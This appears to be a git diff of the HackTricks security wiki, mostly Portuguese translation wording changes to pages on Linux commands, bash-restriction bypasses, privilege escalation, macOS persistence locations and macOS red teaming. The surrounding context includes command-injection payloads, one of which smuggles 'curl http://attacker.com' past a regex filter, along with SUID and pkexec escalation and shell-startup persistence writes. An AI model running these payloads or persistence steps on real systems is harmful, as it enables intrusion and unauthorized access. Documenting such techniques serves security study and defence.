 i686-mingw32msvc-gcc -o executable useradd.c
 ```
-
 ## Greps
-
 ```bash
 #Extract emails from file
 grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
 #Extract ISBN Numbers
 egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
 ```
-
-## Find
-
+## Encontrar
 ```bash
 # Find SUID set files.
 find / -perm /u=s -ls 2>/dev/null
@@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
 # Found Newer directory only and sort by time. (depth = 5)
 find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot"  | grep -v "| /sys/" | sort -n -r | less
 ```
-
-## Nmap search help
-
+## Ajuda de busca do Nmap
 ```bash
 #Nmap scripts ((default or version) and smb))
 nmap --script-help "(default or version) and *smb*"
 locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
 nmap --script-help "(default or version) and smb)"
 ```
-
 ## Bash
-
 ```bash
 #All bytes inside a file (except 0x20 and 0x00)
 for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
 ```
-
 ## Iptables
-
 ```bash
 #Delete curent rules and chains
 iptables --flush
@@ -322,13 +293,4 @@ iptables -P INPUT DROP
 iptables -P FORWARD ACCEPT
 iptables -P OUTPUT ACCEPT
 ```
-
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
index 948b3eae4..cc60af54f 100644
--- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
+++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
@@ -145,7 +145,7 @@ Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) por exemplo.
 
 ### Builtins
 
-Caso você não consiga executar funções externas e tenha apenas acesso a um **conjunto limitado de builtins para obter RCE**, existem alguns truques úteis para fazê-lo. Normalmente, você **não poderá usar todos** os **builtins**, então você deve **conhecer todas as suas opções** para tentar contornar a prisão. Ideia de [**devploit**](https://twitter.com/devploit).\
+Caso você não consiga executar funções externas e tenha apenas acesso a um **conjunto limitado de builtins para obter RCE**, existem alguns truques úteis para fazer isso. Normalmente, você **não poderá usar todos** os **builtins**, então você deve **conhecer todas as suas opções** para tentar contornar a prisão. Ideia de [**devploit**](https://twitter.com/devploit).\
 Primeiro, verifique todos os [**builtins de shell**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Então aqui estão algumas **recomendações**:
 ```bash
 # Get list of builtins
@@ -203,7 +203,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
 ```
-### Bypass potenciais regexes
+### Bypass potencial regexes
 ```bash
 # A regex that only allow letters and numbers might be vulnerable to new line characters
 1%0a`curl http://attacker.com`
diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md
index 6f1a31b06..7728ab4e8 100644
--- a/src/linux-unix/privilege-escalation/exploiting-yum.md
+++ b/src/linux-unix/privilege-escalation/exploiting-yum.md
@@ -16,7 +16,7 @@ Um exemplo funcional deste exploit pode ser encontrado na sala [daily bugle](htt
 
 Na seção a seguir, abordarei como empacotar um shell reverso em um RPM usando [fpm](https://github.com/jordansissel/fpm).
 
-O exemplo abaixo cria um pacote que inclui um gatilho antes da instalação com um script arbitrário que pode ser definido pelo atacante. Quando instalado, este pacote executará o comando arbitrário. Usei um exemplo simples de shell reverso netcat para demonstração, mas isso pode ser alterado conforme necessário.
+O exemplo abaixo cria um pacote que inclui um gatilho antes da instalação com um script arbitrário que pode ser definido pelo atacante. Quando instalado, este pacote executará o comando arbitrário. Usei um exemplo simples de shell reverso com netcat para demonstração, mas isso pode ser alterado conforme necessário.
 ```text
 
 ```
diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
index 029c7d36f..6318cc0fd 100644
--- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
+++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
@@ -25,12 +25,11 @@ Encontre todos os binários suid e verifique se há o binário **Pkexec**:
 ```bash
 find / -perm -4000 2>/dev/null
 ```
-Se você descobrir que o binário pkexec é um binário SUID e você pertence ao sudo ou admin, provavelmente poderá executar binários como sudo usando pkexec.  
-Verifique o conteúdo de:
+Se você descobrir que o binário pkexec é um binário SUID e você pertence ao sudo ou admin, provavelmente poderá executar binários como sudo usando pkexec. Verifique o conteúdo de:
 ```bash
 cat /etc/polkit-1/localauthority.conf.d/*
 ```
-Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em algumas distribuições linux podem **aparecer** alguns dos grupos **sudo ou admin**.
+Lá você encontrará quais grupos têm permissão para executar **pkexec** e **por padrão** em alguns linux podem **aparecer** alguns dos grupos **sudo ou admin**.
 
 Para **se tornar root você pode executar**:
 ```bash
@@ -75,7 +74,7 @@ Então, leia o arquivo e tente **quebrar algumas hashes**.
 
 # Grupo de Disco
 
-Este privilégio é quase **equivalente ao acesso root** pois você pode acessar todos os dados dentro da máquina.
+Esse privilégio é quase **equivalente ao acesso root** pois você pode acessar todos os dados dentro da máquina.
 
 Arquivos:`/dev/sd[a-z][1-9]`
 ```text
@@ -135,5 +134,4 @@ Você pode montar o sistema de arquivos raiz da máquina host em um volume da in
 
 [lxc - Escalação de Privilégios](lxd-privilege-escalation.md)
 
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md
index 905cd1049..832dac898 100644
--- a/src/macos-hardening/macos-auto-start-locations.md
+++ b/src/macos-hardening/macos-auto-start-locations.md
@@ -34,7 +34,7 @@ Esta seção é fortemente baseada na série de blogs [**Além dos bons e velhos
 - **Gatilho**: Re-login
 
 > [!TIP]
-> Como fato interessante, **`launchd`** possui uma lista de propriedades incorporada na seção Mach-o `__Text.__config` que contém outros serviços bem conhecidos que o launchd deve iniciar. Além disso, esses serviços podem conter `RequireSuccess`, `RequireRun` e `RebootOnSuccess`, o que significa que eles devem ser executados e concluídos com sucesso.
+> Como fato interessante, **`launchd`** tem uma lista de propriedades incorporada na seção Mach-o `__Text.__config` que contém outros serviços bem conhecidos que o launchd deve iniciar. Além disso, esses serviços podem conter `RequireSuccess`, `RequireRun` e `RebootOnSuccess`, o que significa que eles devem ser executados e concluídos com sucesso.
 >
 > Claro, não pode ser modificado devido à assinatura de código.
 
@@ -75,7 +75,7 @@ A **principal diferença entre agentes e daemons é que os agentes são carregad
 Existem casos em que um **agente precisa ser executado antes do login do usuário**, esses são chamados de **PreLoginAgents**. Por exemplo, isso é útil para fornecer tecnologia assistiva no login. Eles também podem ser encontrados em `/Library/LaunchAgents` (veja [**aqui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) um exemplo).
 
 > [!NOTE]
-> Novos arquivos de configuração de Daemons ou Agents serão **carregados após a próxima reinicialização ou usando** `launchctl load ` É **também possível carregar arquivos .plist sem essa extensão** com `launchctl -F ` (no entanto, esses arquivos plist não serão carregados automaticamente após a reinicialização).\
+> Novos arquivos de configuração de Daemons ou Agents serão **carregados após a próxima reinicialização ou usando** `launchctl load `. É **também possível carregar arquivos .plist sem essa extensão** com `launchctl -F ` (no entanto, esses arquivos plist não serão carregados automaticamente após a reinicialização).\
 > Também é possível **descarregar** com `launchctl unload ` (o processo apontado por ele será encerrado),
 >
 > Para **garantir** que não há **nada** (como uma substituição) **impedindo** um **Agent** ou **Daemon** **de** **executar**, execute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
@@ -89,11 +89,11 @@ launchctl list
 
 #### Mais informações sobre launchd
 
-**`launchd`** é o **primeiro** processo em modo usuário que é iniciado a partir do **kernel**. O início do processo deve ser **bem-sucedido** e ele **não pode sair ou travar**. Ele é até mesmo **protegido** contra alguns **sinais de término**.
+**`launchd`** é o **primeiro** processo em modo usuário que é iniciado a partir do **kernel**. O início do processo deve ser **bem-sucedido** e ele **não pode sair ou falhar**. Ele é até mesmo **protegido** contra alguns **sinais de término**.
 
 Uma das primeiras coisas que `launchd` faria é **iniciar** todos os **daemons** como:
 
-- **Daemons de temporizador** baseados no tempo para serem executados:
+- **Daemons de temporizador** baseados em tempo para serem executados:
 - atd (`com.apple.atrun.plist`): Tem um `StartInterval` de 30min
 - crond (`com.apple.systemstats.daily.plist`): Tem `StartCalendarInterval` para iniciar às 00:15
 - **Daemons de rede** como:
@@ -107,7 +107,7 @@ Uma das primeiras coisas que `launchd` faria é **iniciar** todos os **daemons**
 - **Porta Mach:**
 - `com.apple.xscertd-helper.plist`: Está indicando na entrada `MachServices` o nome `com.apple.xscertd.helper`
 - **UserEventAgent:**
-- Isso é diferente do anterior. Ele faz com que launchd inicie aplicativos em resposta a eventos específicos. No entanto, neste caso, o binário principal envolvido não é `launchd`, mas `/usr/libexec/UserEventAgent`. Ele carrega plugins da pasta restrita pelo SIP /System/Library/UserEventPlugins/ onde cada plugin indica seu inicializador na chave `XPCEventModuleInitializer` ou, no caso de plugins mais antigos, no dicionário `CFPluginFactories` sob a chave `FB86416D-6164-2070-726F-70735C216EC0` de seu `Info.plist`.
+- Isso é diferente do anterior. Ele faz com que launchd inicie aplicativos em resposta a eventos específicos. No entanto, neste caso, o binário principal envolvido não é `launchd`, mas sim `/usr/libexec/UserEventAgent`. Ele carrega plugins da pasta restrita pelo SIP /System/Library/UserEventPlugins/ onde cada plugin indica seu inicializador na chave `XPCEventModuleInitializer` ou, no caso de plugins mais antigos, no dicionário `CFPluginFactories` sob a chave `FB86416D-6164-2070-726F-70735C216EC0` de seu `Info.plist`.
 
 ### arquivos de inicialização do shell
 
@@ -166,7 +166,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
 
 Todos os aplicativos a serem reabertos estão dentro do plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist`
 
-Portanto, para fazer os aplicativos reabertos lançarem o seu próprio, você só precisa **adicionar seu aplicativo à lista**.
+Portanto, para fazer os aplicativos reabertos lançarem o seu, você só precisa **adicionar seu aplicativo à lista**.
 
 O UUID pode ser encontrado listando esse diretório ou com `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
 
@@ -190,12 +190,12 @@ Para **adicionar um aplicativo a esta lista** você pode usar:
 
 - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
 - Contorno do TCC: [✅](https://emojipedia.org/check-mark-button)
-- O uso do Terminal para ter permissões FDA do usuário que o utiliza
+- O uso do Terminal deve ter permissões FDA do usuário que o utiliza
 
 #### Localização
 
 - **`~/Library/Preferences/com.apple.Terminal.plist`**
-- **Gatilho**: Abrir Terminal
+- **Gatilho**: Abrir o Terminal
 
 #### Descrição & Exploração
 
@@ -282,8 +282,8 @@ Você também pode usar as extensões **`.command`**, **`.tool`**, com conteúdo
 
 ### Plugins de Áudio
 
-Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\
-Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
+Escrita: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\
+Escrita: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
 
 - Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button)
 - Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
@@ -305,11 +305,11 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
 
 #### Descrição
 
-De acordo com os writeups anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
+De acordo com as escritas anteriores, é possível **compilar alguns plugins de áudio** e fazê-los serem carregados.
 
 ### Plugins QuickLook
 
-Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)
+Escrita: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)
 
 - Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button)
 - Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
@@ -334,7 +334,7 @@ Plugins QuickLook podem ser executados quando você **aciona a pré-visualizaç
 > [!CAUTION]
 > Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root
 
-**Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/)
+**Escrita**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/)
 
 - Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button)
 - Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
@@ -376,7 +376,7 @@ O usuário root é armazenado em **`/private/var/root/Library/Preferences/com.ap
 ## Bypass de Sandbox Condicional
 
 > [!TIP]
-> Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** e **esperando condições não tão comuns** como **programas específicos instalados, ações de usuário "não comuns"** ou ambientes.
+> Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** e **esperando condições não tão comuns** como **programas específicos instalados, ações de usuário "incomuns"** ou ambientes.
 
 ### Cron
 
@@ -421,16 +421,16 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g
 - Contorno TCC: [✅](https://emojipedia.org/check-mark-button)
 - iTerm2 costumava ter permissões TCC concedidas
 
-#### Locations
+#### Locais
 
 - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
-- **Trigger**: Abrir iTerm
+- **Gatilho**: Abrir iTerm
 - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
-- **Trigger**: Abrir iTerm
+- **Gatilho**: Abrir iTerm
 - **`~/Library/Preferences/com.googlecode.iterm2.plist`**
-- **Trigger**: Abrir iTerm
+- **Gatilho**: Abrir iTerm
 
-#### Description & Exploitation
+#### Descrição & Exploração
 
 Scripts armazenados em **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** serão executados. Por exemplo:
 ```bash
@@ -494,17 +494,17 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
 
 ### xbar
 
-Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/)
+Escrita: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/)
 
 - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
-- Mas o xbar deve estar instalado
-- Bypass do TCC: [✅](https://emojipedia.org/check-mark-button)
+- Mas xbar deve estar instalado
+- Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
 - Solicita permissões de Acessibilidade
 
 #### Localização
 
 - **`~/Library/Application\ Support/xbar/plugins/`**
-- **Gatilho**: Uma vez que o xbar é executado
+- **Gatilho**: Uma vez que xbar é executado
 
 #### Descrição
 
@@ -546,20 +546,20 @@ EOF
 - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
 - Mas o BetterTouchTool deve ser instalado
 - Contorno TCC: [✅](https://emojipedia.org/check-mark-button)
-- Ele solicita permissões de Automação-Curtas e Acessibilidade
+- Ele solicita permissões de Automação-Atalhos e Acessibilidade
 
 #### Localização
 
 - `~/Library/Application Support/BetterTouchTool/*`
 
-Esta ferramenta permite indicar aplicativos ou scripts a serem executados quando alguns atalhos são pressionados. Um atacante pode ser capaz de configurar seu próprio **atalho e ação a serem executados no banco de dados** para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).
+Esta ferramenta permite indicar aplicativos ou scripts a serem executados quando alguns atalhos são pressionados. Um atacante pode ser capaz de configurar seu próprio **atalho e ação a serem executados no banco de dados** para fazer com que ele execute código arbitrário (um atalho pode ser apenas pressionar uma tecla).
 
 ### Alfred
 
 - Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
 - Mas o Alfred deve ser instalado
 - Contorno TCC: [✅](https://emojipedia.org/check-mark-button)
-- Ele solicita permissões de Automação, Acessibilidade e até Acesso Completo ao Disco
+- Ele solicita permissões de Automação, Acessibilidade e até mesmo Acesso Completo ao Disco
 
 #### Localização
 
@@ -700,7 +700,7 @@ unset OLDPWD
 echo 11 > /tmp/at.txt
 ```
 > [!WARNING]
-> Se as tarefas AT não estiverem ativadas, as tarefas criadas não serão executadas.
+> Se as tarefas AT não estiverem habilitadas, as tarefas criadas não serão executadas.
 
 Os **arquivos de trabalho** podem ser encontrados em `/private/var/at/jobs/`
 ```
@@ -816,15 +816,15 @@ Agora que temos um ambiente vazio
 4. Abra o Folder Actions Setup.app para consumir essa configuração: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
 
 > [!CAUTION]
-> E isso não funcionou para mim, mas essas são as instruções do writeup:(
+> E isso não funcionou para mim, mas essas são as instruções do relatório:(
 
 ### Atalhos do Dock
 
-Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/)
+Relatório: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/)
 
-- Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button)
-- Mas você precisa ter instalado um aplicativo malicioso dentro do sistema
-- Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
+- Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
+- Mas você precisa ter um aplicativo malicioso instalado dentro do sistema
+- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
 
 #### Localização
 
@@ -915,7 +915,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi
 
 #### Descrição & Exploit
 
-**Compile um seletor de cores** com seu código (você pode usar [**este aqui, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na [seção Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
+**Compile um seletor de cores** com seu código (você pode usar [**este, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na [seção Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
 
 Então, quando o seletor de cores for acionado, seu código também deverá ser.
 
@@ -928,23 +928,23 @@ Note que o binário que carrega sua biblioteca tem uma **sandbox muito restritiv
 [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
 [String] (allow file-read* (extension "com.apple.app-sandbox.read"))
 ```
-### Plugins de Sincronização do Finder
+### Finder Sync Plugins
 
-**Escrita**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\
-**Escrita**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html)
+**Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\
+**Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html)
 
 - Útil para contornar sandbox: **Não, porque você precisa executar seu próprio aplicativo**
-- Contorno do TCC: ???
+- Bypass TCC: ???
 
 #### Localização
 
 - Um aplicativo específico
 
-#### Descrição & Exploração
+#### Descrição & Exploit
 
 Um exemplo de aplicativo com uma Extensão de Sincronização do Finder [**pode ser encontrado aqui**](https://github.com/D00MFist/InSync).
 
-Os aplicativos podem ter `Extensões de Sincronização do Finder`. Esta extensão irá dentro de um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, ela **deve ser assinada** com algum certificado de desenvolvedor da Apple válido, deve ser **sandboxed** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
+Os aplicativos podem ter `Finder Sync Extensions`. Esta extensão irá dentro de um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, ela **deve ser assinada** com algum certificado de desenvolvedor da Apple válido, deve ser **sandboxed** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
 ```bash
 pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
 pluginkit -e use -i com.example.InSync.InSync
@@ -954,8 +954,8 @@ pluginkit -e use -i com.example.InSync.InSync
 Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\
 Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
 
-- Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle)
-- Mas você acabará em um sandbox de aplicativo comum
+- Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
+- Mas você acabará em uma sandbox de aplicativo comum
 - Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
 
 #### Localização
@@ -1138,7 +1138,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
 Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e então mudar o nome, o **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que suporte a extensão que você gostaria de suportar e refletir isso em **`schema.xml`**.\
 Então **mude** o código da função **`GetMetadataForFile`** para executar seu payload quando um arquivo com a extensão processada for criado.
 
-Finalmente, **construa e copie seu novo `.mdimporter`** para um dos três locais anteriores e você pode verificar sempre que ele for carregado **monitorando os logs** ou verificando **`mdimport -L.`**
+Finalmente, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar sempre que ele for carregado **monitorando os logs** ou verificando **`mdimport -L.`**
 
 ### ~~Painel de Preferências~~
 
@@ -1147,7 +1147,7 @@ Finalmente, **construa e copie seu novo `.mdimporter`** para um dos três locais
 
 Escrita: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/)
 
-- Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
+- Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle)
 - Precisa de uma ação específica do usuário
 - Contorno TCC: [🔴](https://emojipedia.org/large-red-circle)
 
@@ -1161,7 +1161,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g
 
 Não parece que isso esteja funcionando mais.
 
-## Contorno de Sandbox Root
+## Contorno do Sandbox Root
 
 > [!TIP]
 > Aqui você pode encontrar locais de início úteis para **contorno de sandbox** que permitem que você simplesmente execute algo **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.**
@@ -1170,7 +1170,7 @@ Não parece que isso esteja funcionando mais.
 
 Escrita: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/)
 
-- Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
+- Útil para contornar o sandbox: [🟠](https://emojipedia.org/large-orange-circle)
 - Mas você precisa ser root
 - Contorno TCC: [🔴](https://emojipedia.org/large-red-circle)
 
@@ -1185,7 +1185,7 @@ Escrita: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.g
 
 #### Descrição & Exploração
 
-Os scripts periódicos (**`/etc/periodic`**) são executados devido aos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial escalada de privilégios.
+Os scripts periódicos (**`/etc/periodic`**) são executados devido aos **launch daemons** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Note que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial elevação de privilégio.
 ```bash
 # Launch daemons that will execute the periodic scripts
 ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@@ -1337,7 +1337,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
 ```
 O **`evaluate-mechanisms`** informará o framework de autorização que precisará **chamar um mecanismo externo para autorização**. Além disso, **`privileged`** fará com que seja executado pelo root.
 
-Ative-o com:
+Acione-o com:
 ```bash
 security authorize com.asdf.asdf
 ```
@@ -1417,7 +1417,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
 Escrita: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/)
 
 - Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle)
-- Mas você precisa ser root, auditd estar em execução e causar um aviso
+- Mas você precisa ser root, auditd deve estar em execução e causar um aviso
 - Contorno TCC: [🔴](https://emojipedia.org/large-red-circle)
 
 #### Localização
@@ -1496,13 +1496,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.g
 
 Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, mas ainda permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores de ameaças, provavelmente não percebido pela maioria dos administradores de macOS.
 
-Para aqueles que estão cientes de sua existência, identificar qualquer uso malicioso de **emond** é simples. O LaunchDaemon do sistema para este serviço procura scripts para executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado:
+Para aqueles que estão cientes de sua existência, identificar qualquer uso malicioso de **emond** é simples. O LaunchDaemon do sistema para este serviço busca scripts para executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado:
 ```bash
 ls -l /private/var/db/emondClients
 ```
 ### ~~XQuartz~~
 
-Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/)
+Escrita: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/)
 
 #### Localização
 
@@ -1512,7 +1512,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.g
 
 #### Descrição & Exploit
 
-XQuartz **não está mais instalado no macOS**, então se você quiser mais informações, confira o writeup.
+XQuartz **não está mais instalado no macOS**, então se você quiser mais informações, confira a escrita.
 
 ### ~~kext~~
 
@@ -1524,7 +1524,7 @@ XQuartz **não está mais instalado no macOS**, então se você quiser mais info
 Para instalar um KEXT como um item de inicialização, ele precisa ser **instalado em um dos seguintes locais**:
 
 - `/System/Library/Extensions`
-- Arquivos KEXT integrados ao sistema operacional OS X.
+- Arquivos KEXT incorporados no sistema operacional OS X.
 - `/Library/Extensions`
 - Arquivos KEXT instalados por software de terceiros
 
@@ -1536,7 +1536,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
 kextunload /path/to/kext.kext
 kextunload -b com.apple.driver.ExampleBundle
 ```
-Para mais informações sobre [**extensões de kernel, verifique esta seção**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
+Para mais informações sobre [**extensões de kernel, ver esta seção**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
 
 ### ~~amstoold~~
 
diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md
index 192db61f0..478ab0f88 100644
--- a/src/macos-hardening/macos-red-teaming/README.md
+++ b/src/macos-hardening/macos-red-teaming/README.md
@@ -34,7 +34,7 @@ JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysadm
 
 #### Auto-inscrição do JAMF
 
-Vá para uma página como `https://.jamfcloud.com/enroll/` para ver se eles têm **auto-inscrição habilitada**. Se tiver, pode **pedir credenciais para acesso**.
+Vá para uma página como `https://.jamfcloud.com/enroll/` para ver se eles têm **auto-inscrição habilitada**. Se tiver, pode **pedir credenciais para acessar**.
 
 Você poderia usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de password spraying.
 
@@ -74,7 +74,7 @@ sudo jamf policy -id 0
 ```
 #### Impersonação do JAMF
 
-Para **impersonar a comunicação** entre um dispositivo e o JMF, você precisa:
+Para **impersonar a comunicação** entre um dispositivo e o JAMF, você precisa:
 
